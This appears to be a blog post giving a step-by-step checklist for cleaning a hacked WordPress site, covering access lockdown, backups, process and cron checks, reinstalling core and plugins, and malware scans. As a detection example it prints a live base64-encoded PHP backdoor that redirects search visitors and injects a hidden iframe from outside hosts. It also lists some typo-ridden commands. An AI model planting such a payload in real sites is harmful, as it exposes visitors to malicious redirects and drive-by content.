Fixing a hacked website

Here is the process I go through to fix a website that has been hacked.

0) Purge and disable any caches in front of the server (Varnish, Cloudflare, etc.)

1) In your message to the website owner, tell them you can add a message to the site while it’s being worked on, and ask them if they have anything specific they would like it to say. If this is an ecommerce site, ask if they would like you to include their phone number for customers to use to place orders over the phone while the website is being worked on.

2) Add the following to the .htaccess file to only allow you to access the website.

ErrorDocument 403 "Under Maintenance, check back tomorrow."
order deny,allow deny from all allow from REPLACE_WITH_YOUR_IP_ADDRESS
Newer versions of Apache can alternatively do the following (didn't work on Cloudways even though it had Apache 2.4. Maybe a PHP-FPM issue): Require ip REPLACE_WITH_YOUR_IP_ADDRESS

For Nginx, add the following within the server block to only allow access with a specific cookie:
sudo vi /etc/nginx/sites-enabled/<config>
if ($cookie_cookieName != "cookievalue") { return 403; }

If Cloudflare has proxying turned on, you'll need to either turn it off to get the true IP address
Or to get around any proxy you can try https://stackoverflow.com/questions/29356187/apache-2-4-require-ip-not-working
If the above doesn't work, you can also do: RewriteCond %{HTTP_COOKIE} !^.*randomCookieName.*$ RewriteRule .* - [F,L] ErrorDocument 403 /403.html

3) Backup the website. If the hacked code is getting in your way of using a backup plugin, you can use the commands ssh user@host “tar -zcf – ~/webapps/appName” > backup.tar.gz and ssh user@host “mysqldump -u username -p db_name > backup.sql”. Alternatively, you can use the hu backup command.

4) Setup a staging site or redirect all traffic to a new application that has a message about the site being down (easier). If you’re setting up a staging site (harder), then the website customers are visiting is now temporary, and the staging site will eventually become the live production site. Disable any membership plugins and other similar plugins to prevent users from making changes that are going to get lost. Disable other admins from using the back end. There is an option for this in the hosting utilities plugin. And disable the ability to take payments and replace it with a message to take payments over the phone. You don’t want customers entering cc info on a compromised site. Once you have the website as close to a read-only website as makes sense, remove the .htaccess stuff we added. All changes will now be made on the staging site, and eventually we will overwrite the normal website with the staging site.

5) Save recently edited files so we know where to start investigating just in case the hacker gets back in a second time. find -mtime -1 -printf “%T@\t%Tc %p\n” | sort -n > ../private_html/files_edited_day_cleaned_hack.txt  and find -mtime -7 -printf “%T@\t%Tc %p\n” | sort -n > ../private_html/files_edited_week_cleaned_hack.txt

6) If needed, edit your hosts file to  go to the staging site.

7) Remove any known infected files

8) If needed contact your hosting company to have them re-enable the website.

9) Make sure no unwanted processes are running on the server. SSH in and run the command ps -u username -o pid,commandto see processes for a specific user (eg the user you’re logged in as or www-data). You can also use the command ps -U root -u root -N -o pid,command to see processes for all non-root users, and then compare the results to a good server. Use the kill the_pid  command to remove any processes that do not belong. Then check the cron jobs with the command crontab -e. Also check the WP cron. This can be checked with the sucuri plugin under sucuri > settings > scanner > scheduled tasks. Alternatively, it can be checked with WP Crontrol under “tools” > “cron events”.

10) Perform updates. This is probably how the hacker got in.

11)Find all files that have been modified within 24 hours with the command find -mtime -1 -printf ‘%Tc %p\n’ mtime specifies the number of days, so you would use -mtime -3 if you wanted to check the last three days.

12) Remove unneeded inactive plugins. An inactive plugin that hasn’t been updated for many years is a possible hacking vulnerability. Also remove inactive themes. Using wp-cli this can be done with wp plugin delete $(wp plugin list --status=inactive --field=name) . Parent themes may be seen as inactive, so you may want to remove those manually with wp theme list and wp theme delete.

13) Download WordPress from wordpress.org. On the website remove the wp-includes and wp-admin folder. Remove everything except for the wp-config.php and .htaccess files, the wp-content folder and .well-known folders, and anything that looks important that is not a part of the WordPress install. In the wp-content folder remove the cache folder if it exists, along with anything else that looks unnecessary or out of place. Upload the new WordPress files that where just downloaded from WordPress.org, if prompted, replace any files currently on the server. Or use `wp core download –force –skip-content` after deleting those files.

14) Delete and re-upload any plugins, and possibly do this with the theme if you can. You can do this quickly for the free plugins in the WordPress codex repository by downloading the sucuri security plugin and navigating to sucuri > settings > post hack > reset installed plugins. Make sure you set Sucuri’s alerts to go to your email address after installing the plugin (sucuri > settings ? alerts). Alternatively you can use either wp plugin install $(wp plugin list --field=name) --force --skip-plugins --skip-themes or probably better wp plugin install $(ls -1p wp-content/plugins | grep '/$' | sed 's/\/$//') --force

15) Install and configure iThemes Security Pro and WordFence.

16) Change the salts to logout anyone that could be logged into the website. `wp config shuffle-salts`.

17) Remove any admin users that should not be there.

17) Remove any pending wp-cron.php jobs with UPDATE wp_options SET option_value = '' WHERE option_name = 'cron';.

17) Check for suspicious looking files. We’re looking for files with a bunch of random text that has probably been base64 encoded. This is the hacker’s backdoor. He can visit a specific location on the website to evaluate this code which is full of tools that allow him to easily perform malicious actions. Below are some ways of finding potentially hacked files.

SSH in, cd into the webapp, and make sure there are no non-media files in the uploads directory by running the command grep -rcw "" --exclude=*.{webp,avif,jpg,jpeg,png,gif,mov,mp3,mp4,pdf,doc,xdoc,csv,xsl,sql} ./wp-content/uploads (solid backups adds a lot of sql files in there, so that’s why we’re also ignoring SQL files).

       Check uses of eval with the command grep -ro “eval” –exclude=”*.sql”. Or use the gotmls plugin in step 11 to check for suspicous eval statements.

Check the md5 checksums of WordPress core files via wp-cli with the command ow wp-cli website.com "core verify-checksums --version=4.8.2". See this link for more info.

Example of malicious code

eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHRydW09aGVhZGVyc19zZW50KCk7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWE9JF9TRVJWRVJbJ0h UVFBfVVNFUl9BR0VOVCddOw0KaWYgKHN0cmlzdHIoJHVhLCJtc2llIikpew0KaWYgKCEkdHJ1bSl7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJ pc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGV hZGVyKCJMb2NhdGlvbjogaHR0cDovL2FsYXBvdHJlbW5iYS5vc2EucGwvcmlmLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCn1lbHNlIHsNCmVjaG8gIjxpZnJhbWUgc3JjPSdodHRwOi8vcnRqaHRleWp0eWp0eWoub3JnZS5 wbC9tZG0vJyBmcmFtZWJvcmRlcj0wIGhlaWdodD0xIHdpZHRoPTEgc2Nyb2xsaW5nPW5vPjwvaWZyYW1lPiI7DQp9DQoJfQ==”));

18) Change all passwords and remove all ssh keys with the command rm $HOME/.ssh/authorized_keys

19) Perform some website malware scans and make sure everything looks clean. The plugin “Anti-Malware from GOTMLS.NET” is a good malware scanner (make sure you register for an API key before scanning otherwise the scan will do nothing). For additional coverage, you can also check Wordfence’s malware scanner.

If you have full control over the server, you can also apt isntall clamscan and run clamscan /sites/universalaccounting.com/files/ -ri max-scansize=65536K. Omitting big files like that is not necessarily recommended, but can speed things up if you have a lot of backups on the server.

20) Remove the bit we added to .htaccess to prevent anyone else from viewing the website. You may need to restore the .htaccess file back to the default one.

21) Remove the maintenance page or send traffic back to the main application if using a staging site.

22) Re-enable any caches that were disabled, and purge all caches to clean out any cached malware. Re-enable Cloudflare DNS proxying if it was disabled.

23) If the webhost is the one that alerted the user about the hack, ask them to rescan the site and verify that the site is coming up clean.

24) If you want to try to figure out how the site was hacked into, you can look for anything suspicious in the log files. On a Webfaction server these are located at

  • ~/.bash_history has a history of all of the commands entered over interactive ssh sessions
  • ~/logs/user has the MySql error logs. This folder is often empty
  • ~/logs/frontend has the apache access logs and the php error logs

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.